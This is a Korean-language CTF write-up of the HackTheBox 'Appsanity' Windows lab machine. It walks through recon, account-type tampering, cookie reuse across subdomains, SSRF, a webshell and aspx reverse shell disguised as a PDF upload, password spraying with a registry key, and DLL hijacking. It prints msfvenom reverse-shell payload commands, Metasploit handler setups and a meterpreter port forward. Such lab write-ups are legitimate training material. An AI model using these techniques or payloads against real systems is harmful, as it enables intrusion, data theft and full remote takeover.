Post

HTB Appsanity

HackTheBox 오픈베타 시즌3의 5번째 머신으로 Windows 환경의 어려움 난이도로 출시되었다. 이번 포스팅에서는 Appsanity 머신의 해결 과정을 기록한다.

매번 그렇지만… 머신을 발급받고 바로 모든 플래그를 획득한 것이 아니기에 중간중간 대상의 IP Address가 변경될 수 있음 😅

Recon

PortScan

이번 머신은 Windows 머신같지않게 오픈된것으로 확인되는 포트가 적게 확인된다. 그중 WisRM 포트를 제외한 80/tcp, 443/tcp를 통해 접근해야되는 머신으로 예상되며, 웹 서비스 접근 시 리다이렉트를 통해 meddigi.htb라는 도메인을 사용하는것으로 확인된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-30 19:00 KST
Nmap scan report for 10.129.79.3
Host is up (0.21s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://meddigi.htb/
|_http-server-header: Microsoft-IIS/10.0
443/tcp  open  https?
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.54 seconds

WEB

가장먼저 ffuf를 통해 숨겨진 서브도메인이 존재하는지 여부를 파악해보니, portal이라는 서브도메인을 확인할 수 있었고 이를 /etc/hosts 에 등록하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
╭─juicemon@juicemon-mac ~/Desktop/HTB/Appsanity
╰─$ ffuf -w /Users/juicemon/Desktop/Tools/wordlist/vhost-wordlist.txt -u https://meddigi.htb -H "Host: FUZZ.meddigi.htb"

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : https://meddigi.htb
 :: Wordlist         : FUZZ: /Users/juicemon/Desktop/Tools/wordlist/vhost-wordlist.txt
 :: Header           : Host: FUZZ.meddigi.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

portal                  [Status: 200, Size: 2976, Words: 1219, Lines: 57, Duration: 2007ms]

meddigi.htb:443

가장먼저 접근한 meddigi.htb:443에서는 아래와 같은 페이지가 반겨준다. 의료 서비스 관련된 페이지로 확인된다.

Desktop View

Directory Scan

meddigi.htb:443에 디렉터리를 스캔 결과는 브라우저에서 접근할 수 있도록 링크된 페이지에서 크게 벗어나지않았다. 일반적으로 접근할 수 있는 페이지 외 추가로 발견된 디렉터리는 발견할 수 없었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
╭─juicemon@juicemon-mac ~/Desktop/HTB/Appsanity
╰─$ ffuf -w ~/Desktop/Tools/wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -u https://meddigi.htb/FUZZ -fs 147 -recursion

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : https://meddigi.htb/FUZZ
 :: Wordlist         : FUZZ: /Users/juicemon/Desktop/Tools/wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 147
________________________________________________

error                   [Status: 200, Size: 194, Words: 20, Lines: 9, Duration: 214ms]
home                    [Status: 200, Size: 32809, Words: 12857, Lines: 515, Duration: 425ms]
profile                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 215ms]
signup                  [Status: 200, Size: 7847, Words: 1843, Lines: 109, Duration: 222ms]
signin                  [Status: 200, Size: 3792, Words: 865, Lines: 77, Duration: 213ms]
                        [Status: 200, Size: 32809, Words: 12857, Lines: 515, Duration: 215ms]
:: Progress: [17770/17770] :: Job [1/1] :: 169 req/sec :: Duration: [0:01:46] :: Errors: 0 ::

signup 경로에 접근하여 회원가입을 진행할 수 있는 것을 확인할 수 있었는데, 전송되는 HTTP Request를 확인하면 Acctype 파라미터에 기본값으로 1이 적용되어있다. 그대로 전송하여 회원가입을 할 경우 일반 회원(환자)로 가입되지만 2를 전송할 경우 의사 자격으로 회원가입을 할 수 있었다.

Desktop View

의사 자격으로 회원가입 후 로그인 시 아래 이미지의 오른쪽 부분에서 확인할 수 있는 것처럼 환자를 등록할 수 있는것으로 확인된다.

Desktop View

Add Patient 버튼을 통해 전달되는 HTTP Request 쿠키에 존재하는 JWT의 페이로드를 확인해보면 일반 계정으로 가입한 juicemon@htb.com(일반)) 계정의 unique_name의 값은 7이다. 위에서 셀렉트 박스에서 juicemon hacker를 선택 후 Add Patient 버튼을 통해 환자 추가 요청을 할 경우 아래와 같이 selectedPatientId 값이 7로 전달된다.

Desktop View

환자 등록을 했지만 추가된 기능은 없는것으로 보인다. 다시 환자 계정으로 돌아가 변경된 내용이 있는지 확인하러 돌아왔고, juicemon doctor 가 의사로 등록된 것을 확인할 수 있었다. 메세지 전송 과정에서 특이한 사항이 존재하나 확인했지만 별다른 내용은 없었다.

portal.meddigi.htb:443

meddigi.htb:443에서 의사 권한으로 계정을 생성할 수 있었지만, 그외 추가적으로 공격할 수 있는 포인트는 발견되지않아 서브도메인으로 발견되었던 portal.meddigi.htb:443을 확인해보기로한다.

Desktop View

해당 도메인에 접근 시 아래와 같이 로그인 페이지가 존재하지만 이번엔 브라우저에서 회원가입 기능을 확인할 수 없었다. 또 디렉터리 스캔을 진행했으나, 회원 가입으로 확인할 수 있는 URI는 찾아볼 수 없었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
╭─juicemon@juicemon-mac ~/Desktop/HTB/Appsanity
╰─$ ffuf -w ~/Desktop/Tools/wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt -u https://portal.meddigi.htb/FUZZ  -fs 155

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : https://portal.meddigi.htb/FUZZ
 :: Wordlist         : FUZZ: /Users/juicemon/Desktop/Tools/wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 155
________________________________________________

login                   [Status: 200, Size: 2976, Words: 1219, Lines: 57, Duration: 214ms]
error                   [Status: 200, Size: 194, Words: 20, Lines: 9, Duration: 217ms]
profile                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 214ms]
equipment               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 207ms]
scheduler               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 207ms]

Foothold

Login Bypass (portal)

기존에 meddigi.htb:443에서 의사 계정을 강제로 생성할 수 있었다. 하지만 portal에 로그인을 위해선 의사 계정의 E-Mail과 Doctor Ref.Number를 요구하지만 Ref.Number를 알 수 없었다.

무차별 대입 등을 진행했으나 전부 실패했다. 이후 다시 meddigi.htb에 돌아가 의사로 로그인 후 발급된 쿠키를 portal.meddigi.htb에 전체 삽입하니 로그인이 가능했다.

JWT 구조가 동일한것인지, 동일한 인증 로직을 사용하는것인지 알 수 없지만 이런식으로 연관성 있는 서로 다른 사이트에 세션을 남용하는 방법도 기억해두면 언젠간 사용할 일이 있을것같다?

Desktop View

로그인에 성공한 이후 모든 메뉴를 훑어보던 중 /Prescriptions 경로에서 처방전과 관련된 링크를 삽입할 수 있는 필드가 존재하여 공격자의 URL을 입력 후 전달하니 아래와 같이 404 Not Found 응답 코드를 볼 수 있다.

Desktop View

위에서 확인된 404 응답 코드는 공격자 웹 서버로부터 응답받은 값으로 확인되었다. 이렇게 SSRF 공격 가능성을 확인할 수 있었다.

1
2
3
4
5
╭─juicemon@juicemon-mac ~/Desktop/HTB/Appsanity
╰─$ python3 -m http.server 9000
Serving HTTP on :: port 9000 (http://[::]:9000/) ...
::ffff:10.129.79.148 - - [31/Oct/2023 19:47:38] code 404, message File not found
::ffff:10.129.79.148 - - [31/Oct/2023 19:47:38] "GET /linktest HTTP/1.1" 404 -

SSRF

위에서 처방전 링크를 입력받는 폼을 통해 SSRF 공격 가능성을 확인했다. 웹 스키마 외 다른 스키마를 통해 내부 파일을 확인할 수 있는지 확인하기 위해 file:// 등을 사용해 보았지만 에러 메세지로 link 파라미터는 http또는 https로 시작해야된다고 한다.

Desktop View

SSRF를 통해 내부에서 접근 가능한 웹 서비스가 존재하는지 확인해보다가 서버 내부에서 8080/TCP로 동작중인 웹 서비스를 확인할 수 있었다.

Desktop View

위 내용 중 환자 정보가 포함되어있으며, 보고서가 링크되어있다. 해당 링크를 다시 처방전 링크에 전달해 접근 시 PDF 파일의 로우데이터 내용을 확인할 수 있었다.

Desktop View

위에서 링크된 PDF를 다운로드할 수 있도록 내부 서비스에 요청되는 URL은 아래와 같다. ViewReport.aspx에 GET Parameter로 전달되는 file 파라미터에 LFI가 가능할 것으로 판단하여 SSRF2LFI를 시도했으며 무슨 짓을 해도 파일을 다운로드 할 수 없었다.

Desktop View

File Upload

위에서 SSRF를 통해 내부에서 접근 가능한 8080/TCP 포트를 찾았고 해당 웹 서버에서 포탈 페이지로 파일을 포함 시킬 수 있는 것으로 파악되었다.

http://127.0.0.1:8080/ViewReport.aspx?file=eefeccb8-4c86-45b4-a38d-81754324a11b_Cardiology_Report_1.pdf

Desktop View

위에서 실패한 SSRF2LFI를 통해 파일을 다운로드하는것이 아니라, SSRF2RFI로 접근할 수 있는 생각이들어 업로드 기능이 존재하는지 찾아보았더니 Upload Report 메뉴를 확인할 수 있었고 환자의 보고서를 업로드할 수 있는 기능이 존재하여 aspx 웹쉘을 업로드시도한다.

Desktop View

aspx 확장자 업로드 시 PDF파일 만 업로드 가능하다는 에러 메세지가 출력된다.

Desktop View

파일 업로드 시 null byte를 포함하여 확장자 검증우회 시도 시 동일하게 에러가 발생하는것으로 보아 파일 시그니처를 검사하는 것으로 보인다.

Desktop View

위 내용을 기반으로 일반적이 테스트용 PDF의 확장자를 aspx로 변경 후 전송하는데, PDF 로우데이터 가장 마지막 부분에 aspx 웹쉘의 내용을 추가하여 파일 시그니처 검증을 우회하고 웹쉘 코드를 포함 시킨다.

Desktop View

aspx로 확장자로 변경된 pdf 뒤에 웹쉘 코드를 삽입하여 업로드 시 다시한번 파일명을 확인해보니 https://portal.meddigi.htb/ViewReport.aspx?file=16ae076f-ceb3-4255-b410-3a0091002e1c_test.aspx 로 파악되지만 SSRF를 통해 요청했다는 점을 생각하여 실제 URL은 http://127.0.0.1:8080/ViewReport.aspx?file=16ae076f-ceb3-4255-b410-3a0091002e1c_test.aspx 이다.

Desktop View

처방 링크에 위 URL을 삽입하여 웹쉘이 업로드되었는지 확인해보면 정상적으로 aspx구문이 포함되어 웹쉘을 확인할 수 있다.

Desktop View

여기서 실수한 점은 SSRF를 통해 파일은 포함 시키는 방식으로 웹쉘이 로드되다보니 실제 업로드된 127.0.0.1:8080의 경로를 확인할 수 없어 웹쉘에 명령 전달을 SSRF로 진행해야했다. 그렇기에 코드를 포함할 수 있다는 점을 이용하여 aspx 리버스 쉘을 업로드한다.

파일이 정상적으로 업로드된다면 다시한번 동일한 방식으로 링크 URL을 확인 후 SSRF를 통해 리버스 쉘 aspx 파일을 트리거한다.

Desktop View

위 과정에서 리버스 쉘 aspx 코드가 실행되면서 공격자 리스너 포트로 쉘이 떨어지는 것을 확인할 수 있다.

1
2
3
4
5
6
7
8
9
╭─juicemon@juicemon-mac ~/Desktop/HTB/Appsanity
╰─$ nc -l 30000 -vn
Spawn Shell...
Microsoft Windows [Version 10.0.19045.3570]
(c) Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
appsanity\svc_exampanel

Users

svc_exampanel

C:\Users

svc_exampanel 권한의 파워쉘을 획득 후 유저 디렉터리에서 아래와 같은 유저들을 확인할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
Directory: C:\Users


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        10/18/2023   6:08 PM                Administrator
d-----         9/24/2023  11:16 AM                devdoc
d-r---         9/15/2023   6:59 AM                Public
d-----        10/18/2023   6:40 PM                svc_exampanel
d-----        10/17/2023   3:05 PM                svc_meddigi
d-----        10/18/2023   7:10 PM                svc_meddigiportal

C:\inetpub

시스템을 정찰하다가, 이전에 업로드한 aspx는 ExaminationPanel(8080/tcp)를 통해 SSRF로 트리거했던것으로 확인됐다.

그외 443/tcp로 서비스되는 meddigi.htb, portal.meddigi.htb는 권한이 존재하지 않아 디렉터리 내부를 확인이 불가능했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Directory: C:\inetpub


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         9/15/2023   7:22 AM                custerr
d-----        10/31/2023   5:21 AM                Databases
d-----         9/24/2023   8:49 AM                ExaminationPanel
d-----        10/23/2023  12:41 PM                history
d-----         9/15/2023   7:24 AM                logs
d-----         9/24/2023   8:50 AM                MedDigi
d-----         9/24/2023   9:15 AM                MedDigiPortal
d-----         9/15/2023   7:22 AM                temp
d-----         9/16/2023   9:58 AM                wwwroot

C:\inetpub\Databases

Database 디렉터리에서 다수의 db 파일의 발견되어 공격자 PC로 옮겨서 확인 시 SQLite3 db 파일로 확인되었다.

1
2
3
4
5
6
7
8
9
Directory: C:\inetpub\Databases


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/31/2023   5:21 AM          20480 examinfo.db
-a----        10/31/2023   5:22 AM          32768 meddigi.db
-a----        10/31/2023   5:01 AM          32768 meddigi.db-shm
-a----        10/31/2023   4:50 AM          32992 meddigi.db-wal

examinfo.db

업로드한 파일의 정보가 담겨있는것으로 확인된다.

Desktop View

meddigi.db

의사 정보 및 진찰 내용 등이 들어있는 것으로 확인된다.

Desktop View

C:\inetpub\ExaminationPanel\ExaminationPanel\bin

aspx가 실행되는 다수의 dll들을 확인할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Directory: C:\inetpub\ExaminationPanel\ExaminationPanel\bin


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         9/24/2023   8:49 AM                roslyn
d-----         9/24/2023   8:49 AM                x64
d-----         9/24/2023   8:49 AM                x86
-a----         9/24/2023   8:46 AM        4991352 EntityFramework.dll
-a----         9/24/2023   8:46 AM         591752 EntityFramework.SqlServer.dll
-a----         9/24/2023   8:46 AM          13824 ExaminationManagement.dll
-a----         9/24/2023   8:46 AM          40168 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll
-a----         9/24/2023   8:46 AM         431792 System.Data.SQLite.dll
-a----         9/24/2023   8:46 AM         206512 System.Data.SQLite.EF6.dll
-a----         9/24/2023   8:46 AM         206520 System.Data.SQLite.Linq.dll

ExaminationManagement.dll

위에서 확인된 dll 들 중 ExaminationManagement.dll를 공격자 PC로 전송하여 확인해보니 .NET으로 빌드된것을 확인할 수 있었다.

Desktop View

해당 파일을 DnSpy를 통해서 분석하는 과정에서 코드 일부에 특정 레지스트리를 참조하여 EncKey를 가져오는 것으로 확인된다.

Desktop View

해당 레지스트리 값을 svc_exampanel의 터미널에서 확인하면 아래와 같이 확인할 수 있다.

1
2
3
4
5
6
7
8
9
PS C:\Users\svc_exampanel\Desktop> $registryPath = "HKLM:\Software\MedDigi"
$registryPath = "HKLM:\Software\MedDigi"

PS C:\Users\svc_exampanel\Desktop> $registryValue = Get-ItemProperty -Path $registryPath -Name "EncKey"
$registryValue = Get-ItemProperty -Path $registryPath -Name "EncKey"

PS C:\Users\svc_exampanel\Desktop> Write-Host "EncKey: $($registryValue.EncKey)"
Write-Host "EncKey: $($registryValue.EncKey)"
EncKey: 1g0tTh3R3m3dy!!

devdoc

확인된 암호화 키를 C:\Users에서 확인되는 모든 계정을 리스트화하여 Password Spray를 진행한 결과 devdoc 계정에 유효한 패스워드라는것을 알 수 있었다. 또 devdoc 계정을 통해 winrm 접근도 가능하였다.

이후 곧바로 권한을 확인했지만 알고있는 권한상을으로 이어질 수 있는 권한을 볼 수 없었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[~/Desktop/Appsanity]
└─# evil-winrm -i '10.129.80.60' -u 'devdoc' -p '1g0tTh3R3m3dy!!'

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\devdoc\Documents> whoami
appsanity\devdoc
*Evil-WinRM* PS C:\Users\devdoc\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== =======
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
SeTimeZonePrivilege           Change the time zone                 Enabled

Privilege Escalation

여기서 5일에 시간이 걸린것같다. 물론 해당 머신만 집중적으로 5일을 한것은 아니지만… 권한 상승으로 가는 길을 파악할 수 없어 너무 오래걸렸다.

winPEAS로 시스템을 정찰한 결과를 계속해서 보다보니 특이하게 100/TCP 포트로 ReportManagement.exe` 가 실행중인 것을 확인할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Protocol   Local Address         Local Port    Remote Address        Remote Port     State             Process ID      Process Name

  TCP        0.0.0.0               80            0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               100           0.0.0.0               0               Listening         5516            ReportManagement
  TCP        0.0.0.0               135           0.0.0.0               0               Listening         916             svchost
  TCP        0.0.0.0               443           0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               445           0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               5040          0.0.0.0               0               Listening         1036            svchost
  TCP        0.0.0.0               5985          0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               8080          0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               47001         0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               49664         0.0.0.0               0               Listening         688             lsass
  TCP        0.0.0.0               49665         0.0.0.0               0               Listening         528             wininit
  TCP        0.0.0.0               49666         0.0.0.0               0               Listening         1100            svchost
  TCP        0.0.0.0               49667         0.0.0.0               0               Listening         1524            svchost
  TCP        0.0.0.0               49668         0.0.0.0               0               Listening         672             services
  TCP        10.129.80.60          139           0.0.0.0               0               Listening         4               System
  TCP        10.129.80.60          5985          10.10.14.55           49028           Time Wait         0               Idle
  TCP        10.129.80.60          5985          10.10.14.55           49030           Established       4               System
  TCP        10.129.80.60          55888         10.10.14.55           30000           Established       772             w3wp

ReportManagement 는 Program Files에 위치하고있으며, 해당 파일을 확인해보면 send/recv 통신을 확인할 수 있었다. 이를 직접 확인해보기위해 evil-winrm에서 metasploit 핸들러로 전환후 포트 포워딩을 진행하기 위해 msfvenom으로 metasploit 세션을 맺기위한 exe 파일을 생성한다.

1
2
3
4
5
6
7
8
┌──(root㉿kali)-[~/Desktop/Appsanity]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.55 LPORT=30000 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe

msfconsole에서 windows 핸들러를 설정하고 리스닝한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set LHOST 10.10.14.55
LHOST => 10.10.14.55
msf6 exploit(multi/handler) > set LPORT 30000
LPORT => 30000
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.55:30000

evil-winrm으로 shell.exe을 업로드하고 실행한다.

1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\Users\devdoc\Documents> upload shell.exe
Info: Uploading shell.exe to C:\Users\devdoc\Documents\shell.exe

Data: 98400 bytes of 98400 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\devdoc\Documents> .\shell.exe

msfconsole에서 동작하고있는 리스너로 세션하나가 활성화되는 것을 확인할 수 있고 devdoc의 세션으로 정상적인 연결을 할 수 있었다.

1
2
3
4
5
6
[*] Started reverse TCP handler on 10.10.14.55:30000
[*] Sending stage (175174 bytes) to 10.129.159.98
[*] Meterpreter session 1 opened (10.10.14.55:30000 -> 10.129.159.98:56588 ) at 2023-11-03 02:04:12 -0400

meterpreter > getuid
Server username: APPSANITY\devdoc

이후 공격자PC에서 공격대상의 100번 포트와 통신하기위해 포트포워드를 진행한다.

1
2
meterpreter > portfwd add -l 100 -p 100 -r 127.0.0.1
[*] Local TCP relay created: :100 <-> 127.0.0.1:100

포트포워딩이 설정되었다면 nc를 통해 100번포트에 연결하면 아래와 같이 안내 문구가 나온다.

1
2
3
┌──(root㉿kali)-[~]
└─# nc 127.0.0.1 100
Reports Management administrative console. Type "help" to view available commands.

help 메세지를 전송하면 아래와 같은 커멘드를 동작할 수 있다고 메세지가 출력된다.

1
2
3
4
5
Available Commands:
backup: Perform a backup operation.
validate: Validates if any report has been altered since the last backup.
recover <filename>: Restores a specified file from the backup to the Reports folder.
upload <external source>: Uploads the reports to the specified external source.

동적 분석만으로 기능파악이 어려워 exe를 공격자 PC에서 분석 결과, C:\Program Files\ReportManagement\Libraries\externalupload.dll DLL을 로드할 수 있다는것을 파악할 수 있었다.

해당경로에는 DLL파일이 존재하지않았고 devdoc 계정으로 쓰기권한이 존재하는 디렉터리였기에 곧바로 악성 DLL을 생성하였다.

1
2
┌──(root㉿kali)-[~/Desktop/Appsanity]
└─# msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=443 -f dll -o externalupload.dll

이후 해당 DLL이 로드될 경우 세션을 맺을 핸들러를 실행한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
PAYLOAD => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST 10.10.14.55
LHOST => 10.10.14.55
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > set ExitOnSession false
ExitOnSession => false
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

마지막으로 생성한 DLL이 정상적으로 로드될 수 있도록 옳바른 경로에 업로드한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\Program Files\ReportManagement\Libraries> upload externalupload.dll
Info: Uploading externalupload.dll to C:\Program Files\ReportManagement\Libraries\externalupload.dll

Data: 11604 bytes of 11604 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Program Files\ReportManagement\Libraries> ls

    Directory: C:\Program Files\ReportManagement\Libraries

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         11/3/2023   6:34 PM           8704 externalupload.dll

이후 다시 공격자 PC에서 포트포워딩한 100/TCP 포트에 접근해 아래와 같이 dll을 로드할 수 있도록 upload 커멘드를 전달한다.

1
2
3
4
5
┌──(root㉿kali)-[~]
└─# nc 127.0.0.1 100
Reports Management administrative console. Type "help" to view available commands.
upload externalupload.dll
Attempting to upload to external source.

이후 Administrator 계정으로 동작되는 100/TCP 서비스에서 dll이 로드되고 리버스 커넥션이 맺어지면서 권한 상승할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
[*] Started HTTPS reverse handler on https://10.10.14.55:443
[!] https://10.10.14.55:443 handling request from 10.129.81.205; (UUID: bz0askk9) Without a database connected that payload UUID tracking will not work!
[*] https://10.10.14.55:443 handling request from 10.129.81.205; (UUID: bz0askk9) Staging x64 payload (201308 bytes) ...
[!] https://10.10.14.55:443 handling request from 10.129.81.205; (UUID: bz0askk9) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (10.10.14.55:443 -> 127.0.0.1 ) at 2023-11-03 21:35:08 -0400

msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: APPSANITY\Administrator
This post is licensed under CC BY 4.0 by the author.